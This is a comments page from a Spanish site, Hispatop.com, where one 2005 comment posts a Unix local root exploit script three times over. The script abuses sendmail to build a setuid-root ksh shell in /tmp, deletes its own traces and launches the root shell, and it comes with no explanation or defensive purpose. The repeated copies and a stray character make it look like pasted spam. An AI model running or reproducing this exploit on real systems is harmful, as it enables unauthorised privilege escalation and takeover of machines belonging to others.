Hispatop.com, Lo mejor de Internet

Comentarios para la web:
los mejores weyes



Comentarios 1-1 de 1
++ Agregar comentario ++

  1. El 2-10-2005 CARLITROS comentó:
    cat << _EOF_ >/tmp/x.c
    #define RUN "/bin/ksh"
    #include<stdio.h>
    main()
    {
    execl(RUN,RUN,NULL);
    }
    _EOF_
    #
    cat << _EOF_ >/tmp/spawnfish.c
    main()
    {
    execl("/usr/lib/sendmail","/tmp/smtpd",0);
    }
    _EOF_
    #
    cat << _EOF_ >/tmp/smtpd.c
    main()
    {
    setuid(0); setgid(0);
    system("chown root /tmp/x ;chmod 4755 /tmp/x");
    }
    _EOF_
    #
    #
    gcc -O -o /tmp/x /tmp/x.c
    gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
    gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
    #
    /tmp/spawnfish
    kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"//
    |cut -d" " -f1`
    rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
    sleep 5
    if [ -u /tmp/x ] ; then
    echo "leet..."
    /tmp/x
    fi

    cat << _EOF_ >/tmp/x.c
    #define RUN "/bin/ksh"
    #include<stdio.h>
    main()
    {
    execl(RUN,RUN,NULL);
    }
    _EOF_
    #
    cat << _EOF_ >/tmp/spawnfish.c
    main()
    {
    execl("/usr/lib/sendmail","/tmp/smtpd",0);
    }
    _EOF_
    >
    #
    cat << _EOF_ >/tmp/smtpd.c
    main()
    {
    setuid(0); setgid(0);
    system("chown root /tmp/x ;chmod 4755 /tmp/x");
    }
    _EOF_
    #
    #
    gcc -O -o /tmp/x /tmp/x.c
    gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
    gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
    #
    /tmp/spawnfish
    kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"//
    |cut -d" " -f1`
    rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
    sleep 5
    if [ -u /tmp/x ] ; then
    echo "leet..."
    /tmp/x
    fi

    cat << _EOF_ >/tmp/x.c
    #define RUN "/bin/ksh"
    #include<stdio.h>
    main()
    {
    execl(RUN,RUN,NULL);
    }
    _EOF_
    #
    cat << _EOF_ >/tmp/spawnfish.c
    main()
    {
    execl("/usr/lib/sendmail","/tmp/smtpd",0);
    }
    _EOF_
    #
    cat << _EOF_ >/tmp/smtpd.c
    main()
    {
    setuid(0); setgid(0);
    system("chown root /tmp/x ;chmod 4755 /tmp/x");
    }
    _EOF_
    #
    #
    gcc -O -o /tmp/x /tmp/x.c
    gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
    gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
    #
    /tmp/spawnfish
    kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"//
    |cut -d" " -f1`
    rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
    sleep 5
    if [ -u /tmp/x ] ; then
    echo "leet..."
    /tmp/x
    fi